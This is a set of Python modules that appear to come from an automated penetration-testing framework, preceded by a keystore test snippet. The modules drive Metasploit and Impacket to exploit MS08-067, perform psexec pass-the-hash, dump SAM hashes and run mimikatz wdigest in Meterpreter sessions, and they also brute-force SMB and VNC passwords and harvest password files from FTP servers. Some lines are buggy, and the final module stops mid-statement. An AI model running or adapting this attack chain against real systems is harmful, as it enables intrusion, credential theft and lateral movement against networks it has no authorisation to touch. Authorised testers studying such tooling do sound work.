    #    KeyStore.add("host/a.b.c.d/port")
    #    KeyStore.add("host/a.b.c.d/port/443")
    KeyStore.add("host/1.1.1.1/port/80")
    KeyStore.add("host/1.1.1.1/port/8080")
    KeyStore.add("host/2.2.2.2/port/443")
    KeyStore.add("host/2.2.2.2/port/80")
    KeyStore.add("host/3.3.3.3/port/22")
    KeyStore.add("host/4.4.4.4/port/25")

    KeyStore.add("service/http/host/1.1.1.1/tcpport/80/product/apache/version/1.1.1.1.1.1.1")
    KeyStore.add("service/http/host/1.1.1.1/tcpport/8080/product/apache/version/1.1.1.3.3.3.3")
    KeyStore.add("service/https/host/2.2.2.2/tcpport/443/product/nginx/version/a.b.c.d")
    KeyStore.add("service/http/host/2.2.2.2/tcpport/80/product/nginx/version/a.b.c.d")
    KeyStore.add("service/ssh/host/3.3.3.3/tcpport/22/product/openssh/version/q.w.e")
    KeyStore.add("service/smtp/host/4.4.4.4/tcpport/25/product/sendmail/version/9.8.7.6")

    kb = KeyStore.get("service")
    print json.dumps(kb, sort_keys=True, indent=4)

# print "=========  PORT 80  ========="
#    print " SHOULD BE 1.1.1.1 2.2.2.2"
#    kb=KeyStore.get("host/*/port/80")
#    print json.dumps(kb, sort_keys=True, indent=4)
#    print "=========  PORT 443  ========="
#    print " SHOULD BE 2.2.2.2"
#    kb=KeyStore.get("host/*/port/443")
#    print json.dumps(kb, sort_keys=True, indent=4)
#    print "=========  PORT 8080  ========="
#    print " SHOULD BE 1.1.1.1"
#    kb=KeyStore.get("host/*/port/8080")
#    print json.dumps(kb, sort_keys=True, indent=4)
#    print "=========  SERVICE HTTP  ========="
#    print " SHOULD BE 1.1.1.1 2.2.2.2"
#    kb=KeyStore.get("service/http/host")
#    print json.dumps(kb, sort_keys=True, indent=4)
#    print "=========  SERVICE HTTPS  ========="
#    kb=KeyStore.get("service/https/host")
#    print " SHOULD BE 2.2.2.2"
#    print json.dumps(kb, sort_keys=True, indent=4)
#
#    print "=========  PORT 80 and SERVICE HTTP  ========="
#    print " SHOULD BE 1.1.1.1 2.2.2.2"
#    kb=KeyStore.get(["service/http/host", "host/*/port/80"])
#    print json.dumps(kb, sort_keys=True, indent=4)
##    for t in kb:
##        print
##        print t
##        kb2 = KeyStore.get('service/http/host/' + t + '/tcpport')
##        print json.dumps(kb2, sort_keys=True, indent=4)
#
#    print "=========  PORT 443 and SERVICE HTTPS  ========="
#    print " SHOULD BE 2.2.2.2"
#    kb=KeyStore.get(["service/https/host", "host/*/port/443"])
#    print json.dumps(kb, sort_keys=True, indent=4)
##    for t in kb:
##        print
##        print t
##        kb2 = KeyStore.get('service/https/host/' + t + '/tcpport')
##        print json.dumps(kb2, sort_keys=True, indent=4)
#
##    KeyStore.debug(kb=KeyStore.get("host/*/port"))
#    #KeyStore.rm("host/a.b.c.d/port/80")
#    #KeyStore.debug(kb=KeyStore.get("host/*/port"))
##    kb=KeyStore.get(["host/*/port/80", "host/*/port/111"])
##    KeyStore.debug(kb=KeyStore.get("host/*/port/80"))
##    KeyStore.debug(kb=KeyStore.get("host/*/port/111"))
##    kb=KeyStore.get(["host/*/port/111"])
#
##    print "-----------------------------"
##    kb=KeyStore.get("host/a.b.c.d/port")
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get("host/a.b.c.d/port/80")
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get("host/a.b.c.d/port/80/apple")
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get("host/a.b.c.d/port/80/dog")
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get(["host/a.b.c.d/port/80/apple"])
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get(["host/*/port/80"])
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get(["host/*/port/111"])
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get(["host/*/port/80", "host/*/port/111"])
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
##    kb=KeyStore.get(["host/*/port/80/apple"])
##    print json.dumps(kb, sort_keys=True, indent=4)
##    print "-----------------------------"
#
##    KeyStore.debug(kb = kb)
##    for t in kb:
##        print t
##        print kb[t]
##    KeyStore.debug()
#    KeyStore.save("out.save")
##    KeyStore.xml()
#    #KeyStore.debug()
#    #KeyStore.load("out.save")
#    #KeyStore.debug()












import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_snmpenumusers(actionModule):
    def __init__(self, config, display, lock):
        super(msf_snmpenumusers, self).__init__(config, display, lock)
        self.triggers = ["snmpCred"]
        self.requirements = ["msfconsole"]
        self.title = "Enumerate Local User Accounts Using LanManager/psProcessUsername OID Values"
        self.shortName = "MSFSNMPEnumUsers"
        self.description = "execute [auxiliary/scanner/snmp/snmp_enumusers] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have UDP 161 open
        self.targets = kb.get('host/*/vuln/snmpCred')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    # Get list of working community strings for this host
                    comStrings = kb.get("host/" + t + "/vuln/snmpCred/communityString")
                    for comString in comStrings:
                        msf.execute("use auxiliary/scanner/snmp/snmp_enumusers\n")
                        msf.execute("set RHOSTS %s\n" % t)
                        msf.execute("set COMMUNITY %s\n" % comString)
                        msf.execute("run\n")
                        msf.sleep(int(self.config['msfexploitdelay']))
                        result = msf.getResult()
                        while (re.search(".*execution completed.*", result) is None):
                            result = result + msf.getResult()

                        outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                        Utils.writeFile(result, outfile)
                        kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

                        # Extract usernames from results and add to KB
                        parts = re.findall(".* users: .*", result)
                        for part in parts:
                            userlist = (part.split(':')[2]).split(',')
                            for username in userlist:
                                kb.add("host/" + t + "/user/" + username.strip())

            # clean up after ourselves
            result = msf.cleanup()

        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class impacketsecretsdump(actionModule):
    def __init__(self, config, display, lock):
        super(impacketsecretsdump, self).__init__(config, display, lock)
        self.title = "Test for NULL Session"
        self.shortName = "secretsDump"
        self.description = "execute [sectredsdump.py [user]:[password]@[target] on each target"

        self.requirements = ["secretsdump.py"]
        self.triggers = ["newSmbPassword"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['host/*/tcpport/139', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            users = kb.get(['host/' + t + '/user'])
            self.display.verbose(self.shortName + " - Connecting to " + t)
            for user in users:
                # verify we have not tested this host before
                if not self.seentarget(t + str(user)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(user))

                    passwords = kb.get(['host/' + t + '/user/' + user + '/password'])
                    for password in passwords:
                        self.display.verbose(self.shortName + " - Connecting to " + t)

                        # make outfile
                        temp_file = self.config[
                                        "proofsDir"] + self.shortName + "_" + t + "_" + user + "_" + Utils.getRandStr(
                            10)

                        # run secretesdump.py
                        command = "secretsdump.py -outputfile " + temp_file + " \"" + user + "\":\"" + password + \
                                  "\"@" + t
                        result = Utils.execWait(command, None)

                        with open (temp_file + '.sam', "r") as myfile:
                            result=myfile.readlines()

                        for line in result:
                            m = line.split(':')
                            user = m[0].strip()
                            uid = m[1].strip()
                            lmhash = m[2].strip()
                            ntlmhash = m[3].strip()

                            kb.add("host/" + t + "/user/" + user + "/lmhash/" + lmhash)
                            kb.add("host/" + t + "/user/" + user + "/ntlmhash/" + ntlmhash)
                            kb.add("host/" + t + "/user/" + user + "/fullhash/" + lmhash + ":" + ntlmhash)
                            self.fire("newNTLMHash")
        return






import fnmatch

try:
    import ftputil
except ImportError:
    raise ImportError('Missing ftputil library. To install run: pip install ftputil')

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class searchftp(actionModule):
    def __init__(self, config, display, lock):
        super(searchftp, self).__init__(config, display, lock)
        self.title = "Search files on FTP"
        self.shortName = "searchFTP"
        self.description = "connect to remote FTP service and search for interesting files"

        self.requirements = []
        self.triggers = ["newServiceftp", "newPort21"]

        self.safeLevel = 4

        self.filepatterns = ['.bat', '*.sh', '*passwd*', '*password*', '*Pass*', '*.conf', '*.cnf', '*.cfg', '*.config']

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get('host/*/tcpport/21')
        self.targets2 = kb.get('service/ftp/host')

    def searchTarget(self, target, port, username, password):
        success = False
        # start packet capture
        cap = self.pktCap(filter="tcp and port " + str(port) + " and host " + target, packetcount=10, timeout=10,
                          srcip="", dstip=target)
        try:
            if (Utils.port_open(target, 21)):
                # attempt to connect to the remote host
                with ftputil.FTPHost(target, username, password) as host:
                    success = True
                    # get list of files and loop over them
                    recursive = host.walk("/", topdown=True, onerror=None)
                    for root, dirs, files in recursive:
                        for name in files:
                            for pattern in self.filepatterns:
                                match_list = fnmatch.filter(files, pattern)
                                for fname in match_list:
                                    fpath = host.path.join(root, fname)
                                    if host.path.isfile(fpath):
                                        host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
                    host.close()
        except ftputil.error.PermanentError:
            self.display.error("Could not connect to %s on port 21" % (target))

        outfile = self.config["proofsDir"] + self.shortName + "_PCAP_Port" + str(
            port) + "_" + target + "_" + Utils.getRandStr(10)
        Utils.writeFile(self.getPktCap(cap), outfile)
        kb.add("host/" + target + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
        return success

    def testTarget(self, host, port):
        success = False
        # verify we have not tested this host before
        if not self.seentarget(host + str(port)):
            self.addseentarget(host + str(port))

            # test for anonumous ftp
            success = self.searchTarget(host, port, "anonymous", "anon@ymo.us")

            # test for user accounts
            if (not success):
                # get list of user creds for this host
                users = self.getUsers(host)
                # loop over each set of credentials
                for username in users:
                    passwords = kb.get('host/' + host + '/user/' + username + '/password')
                    for password in passwords:
                        if (searchTarget(host, port, username, password)):
                            return

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            self.testTarget(t, 21)
        for t in self.targets2:
            ports = kb.get('service/ftp/host/' + t + '/tcpport')
            for p in ports:
                self.testTarget(t, p)
        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class snmpwalk(actionModule):
    def __init__(self, config, display, lock):
        super(snmpwalk, self).__init__(config, display, lock)
        self.triggers = ["snmpCred"]
        self.requirements = ["snmpwalk"]
        self.title = "Run snmpwalk using found community string"
        self.shortName = "SNMPWalk"
        self.description = "execute [snmpwalk -v 2c -c COMMUNITY ip] on each target"
        self.safeLevel = 5

    def getTargets(self):
        # we are interested only in the hosts that have working snmp community strings
        self.targets = kb.get('host/*/vuln/snmpCred')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # loop over each target
            for t in self.targets:
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    cstrings = kb.get("host/" + t + "/vuln/snmpCred/communityString")
                    for community in cstrings:
                        command = "snmpwalk -v 2c -c " + community + " " + t
                        result = command + "\n" + Utils.execWait(command) #append command to top of output
                        outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                        Utils.writeFile(result, outfile)
                        kb.add("host/" + t + "/vuln/snmpCred/output/" + outfile.replace("/", "%2F"))

        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap


class nmapsslscan(actionModule):
    def __init__(self, config, display, lock):
        super(nmapsslscan, self).__init__(config, display, lock)
        self.title = "NMap SSL Scan"
        self.shortName = "NmapSSLScan"
        self.description = "execute [nmap --script ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params," \
                           "ssl-enum-ciphers,ssl-google-cert-catalog,ssl-heartbleed,ssl-known-key,ssl-poodle," \
                           "sslv2] on each target"

        self.requirements = ["nmap"]
        self.triggers = ["newServicessl", "newServicehttps", "newPort443", "newPort8443"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['service/https/host', 'service/ssl/host'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            ports = kb.get(['service/https/host/' + t + '/tcpport', 'service/ssl/host/' + t + '/tcpport'])
            for port in ports:
                # verify we have not tested this host before
                if not self.seentarget(t + str(port)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(port))
                    # run nmap
                    n = mynmap(self.config, self.display)
                    scan_results = n.run(target=t,
                                         flags="--script ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,"
                                               "ssl-enum-ciphers,ssl-google-cert-catalog,ssl-heartbleed,"
                                               "ssl-known-key,ssl-poodle,sslv2",
                                         ports=str(port), vector=self.vector, filetag=t + "_" + str(port) + "_SSLSCAN")[
                        'scan']
        return






try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET
from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mynmap import mynmap


class nmapvncbrute(actionModule):
    def __init__(self, config, display, lock):
        super(nmapvncbrute, self).__init__(config, display, lock)
        self.title = "NMap VNC Brute Scan"
        self.shortName = "NmapVNCBruteScan"
        self.description = "execute [nmap -p5800,5900 --script=vnc-brute] on each target"

        self.requirements = ["nmap"]
        self.triggers = ["newPort5800", "newPort5900"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get(['host/*/tcpport/5800', 'host/*/tcpport/5900'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                # run nmap
                n = mynmap(self.config, self.display)
                scan_results = n.run(target=t, flags="--script=vnc-brute", ports="5800,5900", vector=self.vector,
                                     filetag=t + "_VNCBRUTE")['scan']
                tree = ET.parse(n.outfile + '.xml')
                root = tree.getroot()
                for porttag in tree.iter('port'):
                    portnum = porttag.attrib['portid']
                    for scriptid in porttag.findall('script'):
                        if scriptid.attrib['id'] == "vnc-brute":
                            if scriptid.attrib['output'] == "No authentication required":
                                self.addVuln(t, "VNCNoAuth", {"port":portnum,"message":"No authentication required","output": n.outfile.replace("/", "%2F") + ".xml"})
                                self.fire("VNCNoAuth")
                            for elem in scriptid.iter('elem'):
                                if elem.attrib['key'] == "password":
                                    self.addVuln(t, "VNCBrutePass", {"port":portnum, "password":elem.text})
                                    slef.fire("VNCBrutePass")


        return






from core.actionModule import actionModule
from core.utils import Utils


class responder(actionModule):
    def __init__(self, config, display, lock):
        super(responder, self).__init__(config, display, lock)
        self.title = "Run Responder and watch for hashes"
        self.shortName = "Responder"
        self.description = "execute [reponder -I eth0 -wrf]"

        self.requirements = ["responder", "disabled"]
        self.triggers = ["always"]

        self.safeLevel = 5

        self.maxThreads = 1

    def process(self):
        temp_file = self.config["proofsDir"] + self.shortName + "_" + Utils.getRandStr(10)

        command = "responder -I eth0 -wrf"
        # run for 15 minutes
        # result = Utils.execWait(command, temp_file, timeout=900)
        result = Utils.execWait(command, temp_file, timeout=60)

        # TODO
        # check to see if we got any creds 
        # if not, wait 5 minutes and run again for 15 minutes

        # repeat upto 5 4 times
        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class hydrasmbpassword(actionModule):
    def __init__(self, config, display, lock):
        super(hydrasmbpassword, self).__init__(config, display, lock)
        self.title = "Attempt to bruteforce SMB passwords"
        self.shortName = "HydraSMBPassword"
        self.description = "execute [hydra -s 445 -L users -P passwords -o ttt smb://<server>] on each username"

        self.requirements = ["hydra"]
        self.triggers = ["newUser"]

        self.safeLevel = 2

    def getTargets(self):
        self.targets = kb.get(['service/smb/host', 'host/*/tcpport/445'])

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            users = kb.get(['host/' + t + '/user'])
            self.display.verbose(self.shortName + " - Connecting to " + t)
            for user in users:
                # verify we have not tested this host before
                if not self.seentarget(t + str(user)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(user))
                    # make outfile
                    temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)

                    command = "hydra -s 445 -l " + user + " -P " + self.config[
                        "miscDir"] + "passwords.txt smb://" + t
                    result = Utils.execWait(command, temp_file, timeout=30)

                    # Extract usernames & passwords from results and add to KB
                    parts = re.findall(".* login:\s\s*([^\s]*)\s\s*password:\s\s*([^\s]*)", result)
                    for part in parts:
                        self.fire("newSmbPassword")
                        self.addVuln(t, "guessable password", {"output": temp_file.replace("/", "%2F")})

                        self.display.debug(
                            "Identified username [" + part[0] + "] with password [" + part[1] + "] on " + t)
                        kb.add("host/" + t + "/user/" + part[0].strip() + "/password/" + part[1].strip())

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_ms08_067(actionModule):
    def __init__(self, config, display, lock):
        super(msf_ms08_067, self).__init__(config, display, lock)
        self.title = "Attempt to exploit MS08-067"
        self.shortName = "MSFms08-067"
        self.description = "execute [exploit/windows/smb/ms08_067_netapi] on each target"

        self.requirements = ["msfconsole"]
        self.triggers = ["ms08-067"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host/*/vuln/ms08-067')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # loop over each target
            for t in self.targets:
                # verify we have not tested this host before
                if not self.seentarget(t):
                    # add the new IP to the already seen list
                    self.addseentarget(t)
                    self.display.verbose(self.shortName + " - Connecting to " + t)
                    msf.execute("use exploit/windows/smb/ms08_067_netapi\n")
                    msf.execute("set TARGET 0\n")
                    # msf.execute("set PAYLOAD windows/meterpreter/bind_tcp\n")
                    # msf.execute("set LHOST %s\n" % self.config['lhost'])
                    # msf.execute("set LPORT %i\n" % int(Utils.getUnusedPort()))
                    # msf.execute("set LPORT 4444\n")
                    msf.execute("set RPORT 445\n")
                    msf.execute("set RHOST " + t + "\n")
                    msf.execute("set SMBPIPE BROWSER\n")
                    msf.execute("exploit -j\n")
                    msf.sleep(int(self.config['msfexploitdelay']))

                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                    result = msf.getResult()
                    Utils.writeFile(result, outfile)
                    kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

                    parts = re.findall(".*Meterpreter session (\d+) opened.*", result)
                    for part in parts:
                        self.fire("msfSession")
                        self.display.verbose("NEW session on : " + t)
                        kb.add("host/" + t + "/msfSession/" + str(part))

            # clean up after ourselves
            result = msf.cleanup()

        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_dumphashes(actionModule):
    def __init__(self, config, display, lock):
        super(msf_dumphashes, self).__init__(config, display, lock)
        self.title = "Gather hashes from MSF Sessions"
        self.shortName = "MSFDumpHashes"
        self.description = "execute [hashdump] and [mimikatz - wdigest] on any new msf sessions"

        self.requirements = ["msfconsole"]
        self.triggers = ["msfSession"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host/*/msfSession')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        for t in self.targets:
            sessions = kb.get('host/' + t + '/msfSession')

            if len(sessions) > 0:
                # connect to msfrpc
                msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                            password=self.config['msfpass'])

                if msf.isAuthenticated():
                    # loop over each target
                    for s in sessions:
                        # verify we have not tested this session before
                        if not self.seentarget(s):
                            # add the new IP to the already seen list
                            self.addseentarget(s)
                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("hashdump\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            # TODO - process results and store results in KB
                            # regex match on [^:]+:[^:]+:[^:]+:[^:]+:::
                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_HashDump_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("load mimikatz\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("wdigest\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            # TODO - process results and store results in KB
                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_Mimikatz_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            # clean up after ourselves
            result = msf.cleanup()

        return






import socket

from core.actionModule import actionModule
from core.keystore import KeyStore as kb


class gethostname(actionModule):
    def __init__(self, config, display, lock):
        super(gethostname, self).__init__(config, display, lock)
        self.title = "Determine the hostname for each IP"
        self.shortName = "GetHostname"
        self.description = "execute [gethostbyaddr(ip)] on each target"

        self.requirements = []
        self.triggers = ["newIP"]

        self.safeLevel = 5

    def getTargets(self):
        self.targets = kb.get('host')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            if not self.seentarget(t):
                # add the new IP to the already seen list
                self.addseentarget(t)
                self.display.verbose(self.shortName + " - Connecting to " + t)
                try:
                    results = socket.gethostbyaddr(t)
                    self.fire("newHostName")
                    kb.add('host/' + t + '/hostname/' + results[0])
                except:
                    pass

        return






from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class httpscreenshot(actionModule):
    def __init__(self, config, display, lock):
        super(httpscreenshot, self).__init__(config, display, lock)
        self.title = "Get Screen Shot of Web Pages"
        self.shortName = "httpScreenShot"
        self.description = "load each web server and get a screenshot"

        self.requirements = ["phantomjs"]
        self.triggers = ["newServicehttp", "newServicehttps", "newPort80", "newPort443"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['service/http/host', 'service/https/host'])

    def processTarget(self, t, port):
        if not self.seentarget(t + str(port)):
            self.addseentarget(t + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + t)
            outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(port) + "_" + Utils.getRandStr(
                10) + ".png"
            url = "http://" + t + ":" + str(port)
            Utils.webScreenCap(url, outfile)

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            ports = kb.get(['service/http/host/' + t + '/tcpport', 'service/https/host/' + t + '/tcpport'])
            for port in ports:
                self.processTarget(t, port)
                for hostname in self.getHostnames(t):
                    self.processTarget(hostname, port)

        return






import re

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_psexec_pth(actionModule):
    def __init__(self, config, display, lock):
        super(msf_psexec_pth, self).__init__(config, display, lock)
        self.title = "Attempt to authenticate via PSEXEC PTH"
        self.shortName = "MSFpsexec"
        self.description = "execute [use exploit/windows/smb/psexec] on each target"

        self.requirements = ["msfconsole"]
        self.triggers = ["newNTLMHash"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # connect to msfrpc
            msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                        password=self.config['msfpass'])

            if not msf.isAuthenticated():
                return

            # loop over each target
            for t in self.targets:
                users = kb.get("host/" + t + "/user")
                for user in users:
                    hashes = kb.get ("host/" + t + "/user/" + user + "/fullhash")
                    for passhash in hashes:
                        # verify we have not tested this host before
                        if not self.seentarget(t+user+passhash):
                            # add the new IP to the already seen list
                            self.addseentarget(t+user+passhash)
                            self.display.verbose(self.shortName + " - Connecting to " + t)
                            msf.execute("use exploit/windows/smb/psexec\n")
                            # msf.execute("set PAYLOAD windows/meterpreter/bind_tcp\n")
                            # msf.execute("set LHOST %s\n" % self.config['lhost'])
                            # msf.execute("set LPORT %i\n" % int(Utils.getUnusedPort()))
                            # msf.execute("set LPORT 4444\n")
                            msf.execute("set RPORT 445\n")
                            msf.execute("set RHOST " + t + "\n")
                            msf.execute("set SMBUser " + user + "\n")
                            msf.execute("set SMBPass " + passhash + "\n")
                            msf.execute("exploit -j\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
        
                            outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
                            result = msf.getResult()
                            Utils.writeFile(result, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
        
                            parts = re.findall(".*Meterpreter session (\d+) opened.*", result)
                            for part in parts:
                                self.fire("msfSession")
                                self.display.verbose("NEW session on : " + t)
                                kb.add("host/" + t + "/msfSession/" + str(part))
        
            # clean up after ourselves
            result = msf.cleanup()

        return






import httplib

from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class httpserverversion(actionModule):
    def __init__(self, config, display, lock):
        super(httpserverversion, self).__init__(config, display, lock)
        self.title = "Get HTTP Server Version"
        self.shortName = "HTTPServerVersion"
        self.description = "issue [GET / HTTP/1.0] to each web server"

        self.requirements = []
        self.triggers = ["newServicehttp", "newServicehttps", "newPort80", "newPort443"]

        self.safeLevel = 5

    def getTargets(self):
        # we are interested in all hosts
        self.targets = kb.get(['service/http/host', 'service/https/host'])

    def processTarget(self, t, port):
        if not self.seentarget(t + str(port)):
            self.addseentarget(t + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + t)
            try:
                conn = httplib.HTTPConnection(t, port, timeout=10)

                conn.request('GET', '/')
                response = conn.getresponse()
                serverver = response.getheader('server')
                if (serverver):
                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                        port) + "_" + Utils.getRandStr(10)
                    Utils.writeFile("Identified Server Version of %s : %s\n\nFull Headers:\n%s" % (
                        t, serverver, self.print_dict(response.getheaders())), outfile)
                    kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            except httplib.BadStatusLine:
                pass
            # except socket.error as e:
            except:
                pass

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            # verify we have not tested this host before
            ports = kb.get(['service/http/host/' + t + '/tcpport', 'service/https/host/' + t + '/tcpport'])
            for port in ports:
                self.processTarget(t, port)
                for hostname in self.getHostnames(t):
                    self.processTarget(hostname, port)

        return






import re
from core.actionModule import actionModule
from core.keystore import KeyStore as kb
from core.mymsf import myMsf
from core.utils import Utils


class msf_gathersessioninfo(actionModule):
    def __init__(self, config, display, lock):
        super(msf_gathersessioninfo, self).__init__(config, display, lock)
        self.title = "Get Info about any new sessions"
        self.shortName = "MSFGatherSessionInfo"
        self.description = "execute [getuid] and [sysinfo] on any new msf sessions"

        self.requirements = ["msfconsole"]
        self.triggers = ["msfSession"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host/*/msfSession')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        for t in self.targets:
            sessions = kb.get('host/' + t + '/msfSession')

            if len(sessions) > 0:
                # connect to msfrpc
                msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
                            password=self.config['msfpass'])

                if msf.isAuthenticated():
                    # loop over each target
                    for s in sessions:
                        # verify we have not tested this session before
                        if not self.seentarget(s):
                            # add the new IP to the already seen list
                            self.addseentarget(s)
                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("getuid\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            outfile = self.config[
                                          "proofsDir"] + self.shortName + "_GetUid_" + t + "_" + Utils.getRandStr(
                                10)
                            text = msf.getResult()
                            Utils.writeFile(text, outfile)
                            kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
                            for line in text.splitlines():
                                m = re.match(r'^\s*Server username: (.*)\s*', line)
                                if (m):
                                    self.display.verbose("Metasploit Session [" + s +
                                            "] running as user [" + m.group(1).strip() + "]")

                            msf.execute("sessions -i " + str(s) + "\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("sysinfo\n")
                            msf.sleep(int(self.config['msfexploitdelay']))
                            msf.execute("background\n")

                            outfile = self.config[
